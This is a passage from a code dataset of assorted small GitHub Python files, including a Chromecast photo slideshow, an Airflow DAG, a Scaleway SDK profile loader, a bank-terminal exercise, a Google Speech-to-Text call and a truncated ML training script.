Type']+\"|\"+ genre + \" \" + category\n\n if pd.isnull(df.loc[img,'Width']):\n df.loc[img,'Width'] = width\n elif df.loc[img,'Width'] != width:\n print('Width Dup Error: '+str(df.loc[img,'Width'])+\", \"+str(width) +' for '+img)\n\n if pd.isnull(df.loc[img,'Height']):\n df.loc[img,'Height'] = height\n elif df.loc[img,'Height'] != height:\n print('Height Dup Error: '+str(df.loc[img,'Height'])+\", \"+str(height) +' for '+img)\n\n if pd.isnull(df.loc[img,'Size (kB)']):\n df.loc[img,'Size (kB)'] = size\n #elif df.loc[img,'Size (kB)'] != size:\n #first_size = df.loc[img,'Size (kB)']\n #first_path = df.loc[img,'Path']\n #second_size = size\n #second_path = path\n #if first_size > second_size:\n #print('dif = '+str((first_size-second_size)/second_size))\n #try:\n #img_A = Image.open(first_path)\n #img_A.save(second_path, quality = 100, subsampling = 0)\n #print('overwrote')\n #except IOError:\n #print('failed to overwrite')\n #if first_size < second_size:\n #print('dif = '+str((second_size-first_size)/first_size))\n #try:\n #img_B = Image.open(second_path)\n #img_B.save(first_path, quality = 100, subsampling = 0)\n #print('overwrote')\n #except IOError:\n #print('failed to overwrite')\n #string_1 = 'Dup Error: '+str(size) +' & '+str(df.loc[img,'Size (kB)'])+' for '+img\n #string_2 = df.loc[img,'Brand']+\", \"+df.loc[img,'Item Type']\n #print(string_1)\n #print(string_2)\n\n if pd.isnull(df.loc[img,'Image URL']):\n df.loc[img,'Image URL'] = url\n elif df.loc[img,'Image URL'] != url:\n print('Dup Error: '+url +' for '+img)\n\n if pd.isnull(df.loc[img,'Path']):\n df.loc[img,'Path'] = path\n elif df.loc[img,'Image URL'] != url:\n print('Dup Error: '+url +' for '+img)\n\n count += 1\n if count%5000 == 0:\n print(count)\n #write_txt(ERROR_LOG)\n return df\n\ndef initialize_directory(output_folder):\n path = os.getcwd()\n home_dir = path\n IO = path + \"/\" +str(output_folder)\n if not os.path.exists(IO):\n os.mkdir(IO)\n return\n\ndef read_json(text_name='index_record'):\n path = os.getcwd()\n with open('./__index__/'+text_name + \".json\", 'r') as f: #w or wt?\n data = json.load(f)\n print(\"Read \"+str(text_name)+\".json from path: \"+str(path))\n return data\n\ndef read_txt(text_name='media_urls_aggregate'):\n with open('./__index__/'+text_name+'.txt', 'rt') as f:\n media_urls_aggregate = f.read().splitlines()\n f.close()\n return media_urls_aggregate\n\ndef write_csv(data, text_name):\n path = os.getcwd()\n data.to_csv('./__index__/'+text_name+'.csv', index=True)\n print(\"Wrote \"+text_name+\".csv to to path: \"+str(path)+'/__index__/')\n return\n\ndef write_txt(data, text_name='ERROR_LOG'):\n with open('./__index__/'+text_name+'.txt', 'w') as f: #w or wt?\n for url in data:\n f.write(url+\"\\n\")\n print(\"Wrote \"+str(text_name)+\".txt to to path: \"+str(os.getcwd()+'/__index__/'))\n return\n\nif __name__ == '__main__':\n main()\n","repo_name":"GHBTM/Scrape-Suite","sub_path":"index_to_Archive_Table.py","file_name":"index_to_Archive_Table.py","file_ext":"py","file_size_in_byte":8773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"11620199063","text":"#!/usr/bin/env python2\n\nfrom __future__ import print_function\n\nimport os\nimport sys\nimport time\nimport random\nimport socket\nimport SimpleHTTPServer\nimport SocketServer\nfrom optparse import OptionParser\n\n# Modules that are not guaranteed to be installed\ntry:\n import magic\nexcept ImportError:\n print(\"Please run 'sudo pip install python-magic'.\")\n sys.exit(1)\n\n# Should exist as submodules here\nimport pychromecast as chromecast\n\n\n# Specify some basic information about our command\nparser = OptionParser(usage=\"usage: %prog\", version=\"%prog 1\",\n description=\"Show photos on the photo display.\")\nparser.add_option(\"--time\", action=\"store\", dest=\"time\", default=20,\n type=\"int\", help=\"The time to show each photo.\")\nparser.add_option(\"--order\", action=\"store_true\", dest=\"order\",\n default=False, help=\"Show the photos in order.\")\nparser.add_option(\"--chromecast\", action=\"store\", dest=\"chromecast\", default=\"Living Room\",\n type=\"str\", help=\"Which chromecast to show the photo on.\")\nparser.add_option(\"--port-range\", action=\"store\", dest=\"ports\", default=(8000,9000),\n type=\"int\", nargs=2, help=\"Local ports to serve files from.\")\nparser.add_option(\"--verbose\", action=\"store_true\", default=False, \n dest=\"verbose\", help=\"Be verbose.\")\n\n# Options, parse 'em\n(options, selection) = parser.parse_args()\n\n# They didn't specify a path on the command line, so import python-zenitys\nif len(selection) == 0:\n\tfrom modules import pythonzenity\n\tselection = pythonzenity.FileSelection(directory=True, multiple=True)\n\nif options.verbose:\n\tprint(\"Loading list of files to show...\")\n\n# Enumerate the files\nto_show = []\nfor adir in selection:\n\tfor root, dirs, files in os.walk(adir):\n\t\tfor _file in files:\n\t\t\tto_show.append(os.path.join(root, _file))\n\t\t\t#if file.endswith(\".jpg\") or file.endswith(\".JPG\") or file.endswith(\".JPEG\") or file.endswith(\".jpeg\"):\n\t\t\t#\tto_show.append(\"http://192.168.1.200/BDsYNs2A8egT1xNGyc4M6QixRbshxdVh/\" + )\n\t\t\t# to_show.append(root.split(\"photo/\")[1] + _file)\n\nif options.verbose:\n\tprint(\"Connecting to Chromecast...\")\nmy_ip = [l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith(\"127.\")][:1], [[(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0]\ncast = chromecast.get_chromecast(friendly_name=options.chromecast)\ntry:\n\tcast.wait()\n\tmc = cast.media_controller\nexcept:\n\tvalid = chromecast.get_chromecasts_as_dict().keys()\n\tprint(\"The chromecast you specified wasn't located. Please chose \"\n\t \"from the following Cast devices: '%s'\" % \"','\".join(valid))\n\tsys.exit(2)\n\ndef serve_file(the_file, port):\n os.chdir(os.path.dirname(the_file))\n\n # Start the webserver\n child_pid = os.fork()\n\n if child_pid == 0:\n Handler = SimpleHTTPServer.SimpleHTTPRequestHandler\n httpd = SocketServer.TCPServer((\"\", port), Handler)\n httpd.timeout = 15\n httpd.handle_request()\n httpd.server_close()\n sys.exit(0)\n else:\n return child_pid\n\n# Sort the files if in ordered mode\nif options.order:\n\tcurpos = 0\n\tto_show.sort()\n\t\n# Get the first port\nif not options.ports[0] < options.ports[1]:\n\traise ValueError(\"You must specify at least 2 ports to use.\")\nport = options.ports[0]\n\n# Go through the videos and show them\nwhile True:\n\t\n\tif options.order:\n\t\tphoto = to_show[curpos]\n\t\tcurpos += 1\n\t\tif curpos >= len(to_show):\n\t\t\tcurpos = 0\n\telse:\n\t\tphoto = random.choice(to_show)\n\t \n\tmime = magic.from_file(photo, mime=True)\n\tthe_location = \"http://%s:%s/%s\" % (my_ip, port, os.path.basename(photo))\n\ttry:\n\t\tserver_pid = serve_file(photo, port)\n\texcept socket.error:\n\t\tport += 1\n\t\tserver_pid = serve_file(photo, port)\n\tprint(\"Showing file (type: %s): %s\" % (mime, the_location))\n\tmc.play_media(the_location, mime)\n\t# Wait the specified amount of time\n\ttime.sleep(options.time)\n\t# By now the server should be done...\n\tos.wait()\n\t\n\tport += 1\n\tif port > options.ports[1]:\n\t\tport = options.ports[0]\n","repo_name":"jonwedell/homeautomation","sub_path":"chromecast_display_photo.py","file_name":"chromecast_display_photo.py","file_ext":"py","file_size_in_byte":4097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28804599770","text":"from datetime import datetime, timedelta\nfrom airflow import DAG\nfrom airflow.decorators import task\nfrom airflow.operators.python import BranchPythonOperator\n\n\n@task.python()\ndef task_a():\n print('task a')\n\n\n@task.python()\ndef task_b():\n print('task b')\n\n\n@task.python\ndef task_c():\n print('task c')\n\n\n@task.python(trigger_rule='none_failed_or_skipped')\ndef task_d():\n print('task d')\n\n\ndef _branching_task():\n if datetime.now().day % 2 == 0:\n return 'task_b'\n return 'task_c'\n\n\nwith DAG(dag_id=\"branching_example\", description=\"Branching\", start_date=datetime(2022, 2, 7), schedule_interval=None,\n dagrun_timeout=timedelta(minutes=10), tags=[\"test\"], catchup=False) as dag:\n\n branching_task = BranchPythonOperator(\n task_id='branching_task',\n python_callable=_branching_task)\n\n task_a() >> branching_task >> [task_b(), task_c()] >> task_d()\n","repo_name":"jbeltranleon/dags-airflow-certification","sub_path":"dags/branching.py","file_name":"branching.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4890397406","text":"from __future__ import annotations\n\nimport dataclasses\nimport logging\nimport os\nfrom dataclasses import dataclass\nfrom typing import Optional, Type, TypeVar\n\nimport yaml\nfrom scaleway_core import __version__\nfrom scaleway_core.profile.file import CONFIG_PROPERTIES_TO_PROFILE\n\nfrom .env import ENV_KEY_SCW_CONFIG_PATH, ENV_KEY_SCW_PROFILE, ENV_VARIABLES_TO_PROFILE\n\n\n@dataclass\nclass ProfileDefaults:\n default_organization_id: Optional[str] = None\n \"\"\"\n Your organization ID is the identifier of your account inside Scaleway infrastructure.\n \"\"\"\n\n default_project_id: Optional[str] = None\n \"\"\"\n Your project ID is the identifier of the project your resources are attached to.\n \"\"\"\n\n default_region: Optional[str] = None\n \"\"\"\n A region is represented as a geographical area such as France (Paris) or the Netherlands (Amsterdam).\n It can contain multiple availability zones.\n\n Examples: fr-par, nl-ams.\n \"\"\"\n\n default_zone: Optional[str] = None\n \"\"\"\n A region can be split into many availability zones (AZ).\n Latency between multiple AZ of the same region are low as they have a common network layer.\n\n Examples: fr-par-1, nl-ams-1\n \"\"\"\n\n default_page_size: Optional[int] = None\n \"\"\"\n The default number of results when requesting a paginated resource.\n \"\"\"\n\n\n@dataclass\nclass ProfileConfig:\n access_key: Optional[str] = None\n \"\"\"\n You need an access key and a secret key to connect to Scaleway API.\n Generate your access key at the following address: https://console.scaleway.com/project/credentials.\n \"\"\"\n\n secret_key: Optional[str] = None\n \"\"\"\n The secret key is the value that can be used to authenticate against the API (the value used in X-Auth-Token HTTP-header).\n The secret key MUST remain secret and not given to anyone or published online.\n Generate your secret key at the following address: https://console.scaleway.com/project/credentials.\n \"\"\"\n\n api_url: str = \"https://api.scaleway.com\"\n \"\"\"\n The Scaleway API URL.\n Change that if you want to direct requests to a different endpoint.\n \"\"\"\n\n api_allow_insecure: bool = False\n \"\"\"\n Allow insecure connection to the API.\n \"\"\"\n\n user_agent: str = f\"scaleway-sdk-python/{__version__}\"\n \"\"\"\n The User-Agent sent with each request.\n \"\"\"\n\n\nProfileSelf = TypeVar(\"ProfileSelf\", bound=\"Profile\")\n\n\n@dataclass\nclass Profile(ProfileDefaults, ProfileConfig):\n def merge(self, other: Profile) -> None:\n \"\"\"\n Merge the current profile with another one.\n \"\"\"\n for field in dataclasses.fields(Profile):\n current_value = getattr(self, field.name)\n\n if current_value is None:\n setattr(self, field.name, getattr(other, field.name))\n\n @classmethod\n def from_env(cls: Type[ProfileSelf], force_none: bool = False) -> ProfileSelf:\n \"\"\"\n Loads profile from environment variables.\n \"\"\"\n profile = cls()\n for env_variable, profile_property in ENV_VARIABLES_TO_PROFILE.items():\n value = os.environ.get(env_variable)\n if value is not None:\n setattr(profile, profile_property, value)\n elif force_none:\n setattr(profile, profile_property, None)\n\n return profile\n\n @classmethod\n def get_default_config_directory(cls) -> str:\n xdg_config_path = os.environ.get(\"XDG_CONFIG_HOME\")\n if xdg_config_path is not None and xdg_config_path != \"\":\n return os.path.join(xdg_config_path, \"scw\")\n\n return os.path.join(os.path.expanduser(\"~\"), \".config\", \"scw\")\n\n @classmethod\n def get_default_config_file_path(cls, filepath: Optional[str] = None) -> str:\n if filepath is not None:\n return filepath\n\n filepath = os.environ.get(ENV_KEY_SCW_CONFIG_PATH)\n if filepath is not None and filepath != \"\":\n return filepath\n\n return os.path.join(Profile.get_default_config_directory(), \"config.yaml\")\n\n @classmethod\n def from_config_file(\n cls: Type[ProfileSelf],\n filepath: Optional[str] = None,\n profile_name: Optional[str] = \"default\",\n force_none: bool = False,\n ) -> ProfileSelf:\n filepath = cls.get_default_config_file_path(filepath)\n\n with open(filepath, \"r\") as f:\n config = yaml.safe_load(f)\n\n if not isinstance(config, dict):\n raise ValueError(\"Invalid config file\")\n\n profile = cls()\n for file_property, profile_property in CONFIG_PROPERTIES_TO_PROFILE.items():\n value = config.get(file_property)\n if value is not None:\n setattr(profile, profile_property, value)\n elif force_none:\n setattr(profile, profile_property, None)\n\n if profile_name is not None and profile_name != \"default\":\n has_profile = (\n \"profiles\" in config\n and isinstance(config[\"profiles\"], dict)\n and profile_name in config[\"profiles\"]\n )\n\n if not has_profile:\n raise ValueError(f\"Profile '{profile_name}' not found\")\n\n overrides = config[\"profiles\"][profile_name]\n\n if not isinstance(overrides, dict):\n raise ValueError(f\"Invalid profile '{profile_name}'\")\n\n for (\n file_property,\n profile_property,\n ) in CONFIG_PROPERTIES_TO_PROFILE.items():\n value = overrides.get(file_property)\n if value is not None:\n setattr(profile, profile_property, value)\n elif force_none:\n setattr(profile, profile_property, None)\n\n return profile\n\n @classmethod\n def from_config_file_and_env(\n cls: Type[ProfileSelf],\n filepath: Optional[str] = None,\n profile_name: Optional[str] = os.environ.get(ENV_KEY_SCW_PROFILE, \"default\"),\n ) -> ProfileSelf:\n \"\"\"\n Loads profile from a config file and environment variables.\n\n Environment variables override config file.\n - If config file is not found, the profile is still loaded from environment variables.\n - If you want it to throw an error in case of missing or invalid config file, use `Profile.from_config_file` and `Profile.from_env` instead.\n \"\"\"\n\n has_config_profile = False\n try:\n config_profile = cls.from_config_file(filepath, profile_name)\n has_config_profile = True\n except Exception as e:\n logging.getLogger(\"scaleway\").warning(\n f\"Could not load profile from config file: {e}\"\n )\n\n env_profile = cls.from_env(force_none=has_config_profile)\n if has_config_profile:\n env_profile.merge(config_profile)\n\n return env_profile\n","repo_name":"scaleway/scaleway-sdk-python","sub_path":"scaleway-core/scaleway_core/profile/profile.py","file_name":"profile.py","file_ext":"py","file_size_in_byte":7003,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"67"} +{"seq_id":"20679172321","text":"# 자기 방으로 돌아가기\n\n# 그리디 풀이.\n# https://swexpertacademy.com/main/code/problem/problemDetail.do?contestProbId=AWNcJ2sapZMDFAV8&categoryId=AWNcJ2sapZMDFAV8&categoryType=CODE\n\nfrom collections import deque\n\nt=int(input())\n\nfor tc in range(1, t+1):\n n=int(input())\n q=[]\n for _ in range(n):\n a,b=map(int,input().split())\n if a>b:\n a,b = b,a\n q.append([a,b])\n q.sort(key=lambda x:(x[0],x[1]))\n q=deque(q)\n result=0\n while q:\n l=len(q)\n room=0\n for _ in range(l):\n s,e=q.popleft()\n\n if not s%2: ns=s-1\n else: ns=s\n\n if ns>room:\n if not e%2: ne=e\n else: ne=e+1\n room=ne\n else:\n q.append([s,e])\n result+=1\n\n print(\"#{} {}\".format(tc,result))","repo_name":"Minoolian/Coding_Test","sub_path":"SWEA/D4/4408 Return_room.py","file_name":"4408 Return_room.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31472197380","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('config', '0021_auto_20200821_1402'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='service',\n name='elastic_apm',\n field=models.ForeignKey(on_delete=django.db.models.deletion.SET_NULL, default=None, blank=True, to='config.ElastAPM', null=True, verbose_name=b'ElasticAPM'),\n ),\n ]\n","repo_name":"futsystems/cmc.website","sub_path":"config/migrations/0022_service_elastic_apm.py","file_name":"0022_service_elastic_apm.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14617884021","text":"from .pad import *\n\ndef pushButton(button):\n return lambda pad: pad.press_button(button)\n\ndef releaseButton(button):\n return lambda pad: pad.release_button(button)\n\ndef tiltStick(stick, x, y):\n return lambda pad: pad.tilt_stick(stick, x, y)\n\nneutral = tiltStick(Stick.MAIN, 0.5, 0.5)\nleft = tiltStick(Stick.MAIN, 0, 0.5)\ndown = tiltStick(Stick.MAIN, 0.5, 0)\nup = tiltStick(Stick.MAIN, 0.5, 1)\nright = tiltStick(Stick.MAIN, 1, 0.5)\n\nendless_netplay = [\n # time\n (0, left),\n \n # infinite time\n (26, down),\n (19, left),\n (25, neutral),\n \n # exit settings\n (1, pushButton(Button.START)),\n (1, releaseButton(Button.START)),\n \n # enter stage select\n (28, pushButton(Button.START)),\n (1, releaseButton(Button.START)),\n \n (10, neutral)\n]\n\nstages = dict(\n battlefield = [\n (0, up),\n (2, neutral),\n \n #(60 * 60, neutral),\n \n # start game\n (20, pushButton(Button.START)),\n (1, releaseButton(Button.START)),\n ],\n \n final_destination = [\n (0, tiltStick(Stick.MAIN, 1, 0.8)),\n (5, neutral),\n \n #(60 * 60, neutral),\n \n # start game\n (20, pushButton(Button.START)),\n (1, releaseButton(Button.START)),\n ]\n)\n\nclass Movie:\n def __init__(self, actions, pad):\n self.actions = actions\n self.frame = 0\n self.index = 0\n self.pad = pad\n \n def move(self, state):\n if not self.done():\n frame, action = self.actions[self.index]\n if self.frame == frame:\n action(self.pad)\n self.index += 1\n self.frame = 0\n else:\n self.frame += 1\n \n def done(self):\n return self.index == len(self.actions)\n","repo_name":"vladfi1/phillip","sub_path":"phillip/movie.py","file_name":"movie.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":537,"dataset":"github-code","pt":"67"} +{"seq_id":"74985722452","text":"\"\"\"\nModule: manage_image for Photo ManiPY\nDescription: Module that saves and opens images\n\nMade by: Maximilian Rose\nCreated on 18/12/2019\nIDE: PyCharm\n\"\"\"\n\nimport pathlib as pl\n\nfrom PIL import Image\n\nimport codec as c\n\n\ndef open_image(filename: str) -> Image:\n \"\"\"\n A function to open an image from a given filepath and return a PIL image object\n\n :param filename: THe filename / filepath of the image\n :return: The image as a PIL image object\n \"\"\"\n\n if pl.Path(filename).suffix == \".maxpg\":\n pic = c.decode_image(filename)\n else:\n pic = Image.open(filename)\n\n return pic\n\n\ndef save_image(pic: Image, filename):\n \"\"\"\n Really simple function that I don't know why I even have, saves an image from the given Image object and a filename\n\n :param pic: The picture as an Image\n :param filename: The filename (including file address) to save as. As an string\n \"\"\"\n pic.save(filename)\n\n\nif __name__ == '__main__':\n # pics = open_image(\"RGB_24bits_palette_sample_image.jpg\")\n\n colors = [128, 128, 128]\n print(bytearray(colors))\n","repo_name":"DarkAndromeda31/PhotoManiPY","sub_path":"manage_image.py","file_name":"manage_image.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3104199749","text":"# Sukurkite terminalo programą, kuri bankui leis apdoroti gaunamas užklausas. Bankas gali gauti trijų tipų užklausas:\n\n# - transfer i j sum: prašymas pervesti pinigų sumą iš i-osios sąskaitos į j-ąją;\n# - deposit i sum: prašymas įnešti pinigų sumą į i-ąją sąskaitą;\n# - withdraw i sum: prašymas išsiimti pinigų sumą iš i-osios sąskaitos.\n\n# Jūsų programa taip pat turėtų galėti apdoroti netinkamas užklausas. Yra dviejų tipų negaliojančios užklausos:\n# - neteisingas sąskaitos numeris prašymuose;\n# - didesnės pinigų sumos, nei yra šiuo metu, išėmimas/pervedimas.\n\n# Po kiekvienos operacijos išveskite ar ji pavyko, ar ne ir parodykite sąskaitų balansus ekrane.\n\n######################\n\n# Pvz. Kai duoti pradiniai sąskaitų balansai yra:\n# ACCOUNTS = [10, 100, 20, 50, 30]\n\n# Įvestos užklausos į terminalą:\n# - \"withdraw 2 10\"\n# - \"transfer 5 1 20\"\n# - \"deposit 5 20\"\n# - \"transfer 3 4 15\"\n\n# Atitinkamai išvedami rezultatai, po kiekvienos užklausos:\n# - Operation was successful; New account balances: [10, 90, 20, 50, 30]\n# - Operation was successful; New account balances: [30, 90, 20, 50, 10]\n# - Operation was successful; New account balances: [30, 90, 20, 50, 30]\n# - Operation was successful; New account balances: [10, 90, 20, 50, 30]\n# - Operation was successful; New account balances: [30, 90, 5, 65, 30]\n\n######################\n\n# Pvz. Kai duoti pradiniai sąskaitų balansai yra:\n# ACCOUNTS = [20, 1000, 500, 40, 90]\n\n# Įvestos užklausos į terminalą:\n# - \"deposit 3 400\"\n# - \"transfer 1 10 10\"\n# - \"withdraw 4 50\"\n\n# Atitinkamai išvedami rezultatai, po kiekvienos užklausos:\n# - Operation was successful; New account balances: [20, 1000, 900, 40, 90]\n# - Operation is invalid, such account does not exist; New account balances: [20, 1000, 900, 40, 90]\n# - Operation is invalid, not enough balance; New account balances: [20, 1000, 900, 40, 90]\n\n# !!! Pastaba: Papildomas taškas, jeigu panaudosite klases. !!!\n\nACCOUNTS = [10, 100, 20, 50, 30]\n\n\nclass Terminal:\n def __init__(self, command, account, sum):\n self.command = command\n self.account = account\n self.sum = sum\n\n def withdraw_command(self):\n try:\n withdraw_ats = ACCOUNTS[int(\n command_line[1])-1]-int(command_line[2])\n if withdraw_ats >= 0:\n ACCOUNTS[int(command_line[1])-1] = withdraw_ats\n print(\n f\"Operation was successful; New account balances:{ACCOUNTS}\")\n else:\n print(\n f\"Operation is invalid, not enough balance; New account balances:{ACCOUNTS}\")\n except:\n print(\n f\"Operation is invalid, such account does not exist; New account balances:{ACCOUNTS}\")\n\n def deposit_command(self):\n try:\n deposit_ats = ACCOUNTS[int(command_line[1])-1]+int(command_line[2])\n ACCOUNTS[int(command_line[1])-1] = deposit_ats\n print(f\"Operation was successful; New account balances:{ACCOUNTS}\")\n except:\n print(\n f\"Operation is invalid, such account does not exist; New account balances:{ACCOUNTS}\")\n\n\nclass Terminal_transfer(Terminal):\n def __init__(self, command, account, account_to, sum):\n super().__init__(command, account, sum)\n self.account_to = account_to\n\n def transfer_command(self):\n try:\n transfer_from = ACCOUNTS[int(\n command_line[1])-1]-int(command_line[3])\n deposit_to = ACCOUNTS[int(command_line[2])-1]+int(command_line[3])\n if transfer_from >= 0:\n ACCOUNTS[int(command_line[1])-1] = transfer_from\n deposit_to = ACCOUNTS[int(\n command_line[2])-1]+int(command_line[3])\n ACCOUNTS[int(command_line[2])-1] = deposit_to\n print(\n f\"Operation was successful; New account balances:{ACCOUNTS}\")\n else:\n print(\n f\"Operation is invalid, not enough balance; New account balances:{ACCOUNTS}\")\n except:\n print(\n f\"Operation is invalid, such account does not exist; New account balances:{ACCOUNTS}\")\n\n\nwhile True:\n try:\n command_line = list(map(str, input(\n \"Please type in prefared command or 'h' for help options: \").split()))\n if command_line[0] == 'h':\n print(\n \"-=*HELP OPTIONS*=- \\n Type in: \\n • 'c' for command list \\n • 'e' for command examples\")\n if command_line[0] == \"c\":\n print(\"-=*Command list:\\n Type in: \\n • 'w' for withdraw \\n • 'd' for deposit \\\n \\n • 't' for transfer \\n • 'a' for current accounts balances \\n • 'x' for exit\")\n if command_line[0] == \"e\":\n print(\"-=*Command examples: \\n 'w 2 10' from account No.2 withdraw 10 \\\n \\n 'd 3 20' deposit 20 to account No.3 \\\n \\n 't 5 2 40' from account No.5 transfer 40 to account No.2 \\\n \\n -=*Structure of command line: \\n • letter for command\\n • first number - choosing account \\\n \\n • second number - amount or choosing second account (transfer command case) \\\n \\n • third number - amount (transfer command case)\")\n if command_line[0] == \"a\":\n print(\"Current accounts balances\", ACCOUNTS)\n if command_line[0] == \"w\":\n terminal = Terminal(\n command_line[0], command_line[1], command_line[2])\n terminal.withdraw_command()\n if command_line[0] == \"d\":\n terminal = Terminal(\n command_line[0], command_line[1], command_line[2])\n terminal.deposit_command()\n if command_line[0] == \"t\":\n terminal_transfer = Terminal_transfer(command_line[0], command_line[1],\n command_line[2], command_line[3])\n terminal_transfer.transfer_command()\n if command_line[0] == \"x\":\n print(\"You have successfully log out from the terminal!\")\n break\n except:\n print(f\"Operation is invalid, such command does not EXIST. Please type 'h' for help options!\")\n","repo_name":"SL1mas/Python_Basics_Exam","sub_path":"Task 6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28347568701","text":"#!/usr/bin/env python3\n\nimport sys\n\ndef bump_version(version, level):\n major, minor, patch = map(int, version.lstrip('v').split('.'))\n\n semver = {\n 'major': (major + 1, 0, 0),\n 'minor': (major, minor + 1, 0),\n 'patch': (major, minor, patch + 1),\n }\n\n return \"v%d.%d.%d\" % semver[level]\n\ndef main():\n print(bump_version(sys.argv[1], sys.argv[2]))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jfly/shtuff","sub_path":"bump_version.py","file_name":"bump_version.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"67"} +{"seq_id":"9398210708","text":"#Tratamento de Erros\n\ntry:\n b = int(input('Numerador: '))\n a = int(input('Denominador: '))\n r = b / a\nexcept (ValueError,TypeError):\n print('Infelizmente tivemos um problema com o tipo de dados digitados')\nexcept ZeroDivisionError:\n print('Não é possivel dividir um número por ZERO')\nexcept KeyboardInterrupt:\n print('O usuário preferiu não informar os dados')\nelse:\n print(f'A divisão é igual a {r}')\nfinally:\n print(f'Volte sempre')","repo_name":"NEVESGF/Python-Learning","sub_path":"Curso_Python_YT/MUNDO3_ENCERRADO/Aulas/Aula#23.py","file_name":"Aula#23.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"32617682843","text":"import os\n\n\n# google cloud Speech-toText 서비스키 발급받은 후 로컬 키 경로 입력.\nos.environ['GOOGLE_APPLICATION_CREDENTIALS']=r\"C:\\your_path\\your_key.json\"\n\ndef transcribe_gcs(gcs_uri):\n \"\"\"Asynchronously transcribes the audio file specified by the gcs_uri.\"\"\"\n from google.cloud import speech\n\n client = speech.SpeechClient()\n\n audio = speech.RecognitionAudio(uri=gcs_uri)\n config = speech.RecognitionConfig(\n encoding=speech.RecognitionConfig.AudioEncoding.ENCODING_UNSPECIFIED,\n sample_rate_hertz=16000,\n language_code=\"ko-KR\"\n )\n\n operation = client.long_running_recognize(config=config, audio=audio)\n\n print(\"Waiting for operation to complete...\")\n response = operation.result()\n\n # Each result is for a consecutive portion of the audio. Iterate through\n # them to get the transcripts for the entire audio file.\n\n for result in response.results:\n # The first alternative is the most likely one for this portion.\n print(u\"{}\".format(result.alternatives[0].transcript))\n # print(\"Confidence: {}\".format(result.alternatives[0].confidence))\n\n\n# google cloud storage에 대용량 오디오파일 업로드 후 해당 파일의 gcp path 입력\nif __name__ == \"__main__\":\n transcribe_gcs(\"gs://your_bucket/your_file.mp3\")\n","repo_name":"jiwoo-jus/speechToText","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33595847542","text":"# method __new__\n# method __call__\n\nclass A:\n def __init__(self, name):\n self.name = name\n def __new__(cls,name, *args, **kwargs):\n if name == 'amir':\n return None\n else:\n return super().__new__(cls, *args, **kwargs)\n def __call__(self, * args, ** kwargs):\n print(f'Hello {self.name}')\n\na = A('amir')\nprint(a)\nprint(a.__class__) # None type\n\n\nb = A('ali')\nb()\nprint(b.name)","repo_name":"KhazaeiAmir110/help_python","sub_path":"methods/metaclass.py","file_name":"metaclass.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17066913819","text":"import numpy as np\nfrom os import listdir\nfrom os.path import isfile, join\nimport pandas as pd \n\nfor dataset in ['flex', 'grep', 'gzip', 'sed']:\n print(f'dataset: {dataset}')\n path = dataset\n # print(listdir(path))\n pkl_files = [f for f in listdir(path) if isfile(join(path, f)) and f[0]=='v']\n pkl_files.sort()\n ver = 0\n count = 0\n for pkl in pkl_files:\n if ver!= pkl[1]:\n if ver!=0:\n print(f'ver {ver}: {count}')\n count = 1\n else:\n count += 1\n ver = pkl[1]\n # print(f'ver: {ver}')\n # print(f'count: {count}')\n print(f'ver {ver}: {count}')\n ","repo_name":"Dongmin1215/CS454_Team5","sub_path":"Experiments/Datasets/linux_utils/linuxutils/failing_tests_singlefault/count_num_faults.py","file_name":"count_num_faults.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"70053709653","text":"import pandas as pd\nimport numpy as np\nimport torch\nimport utils\nimport optuna\n\nDEVICE = 'cuda'\nEPOCHS = 100\n\n\ndef run_training(fold, params, save_model=False):\n df = pd.read_csv('../input/train_features.csv')\n df = df.drop(['cp_time', 'cp_type', 'cp_dose'], axis=1)\n\n targets_df = pd.read_csv('../input/train_targets_folds.csv')\n feature_columns = df.drop('sig_id', axis=1).columns\n target_columns = targets_df.drop(['sig_id', 'kfold'], axis=1).columns\n\n df = df.merge(targets_df, on='sig_id', how='left')\n\n train_df = df[df.kfold != fold].reset_index(drop=True)\n val_df = df[df.kfold == fold].reset_index(drop=True)\n\n xtrain = train_df[feature_columns].to_numpy()\n ytrain = train_df[target_columns].to_numpy()\n\n xval = val_df[feature_columns].to_numpy()\n yval = val_df[target_columns].to_numpy()\n\n train_dataset = utils.MoaDataset(features=xtrain, targets=ytrain)\n val_dataset = utils.MoaDataset(features=xval, targets=yval)\n\n 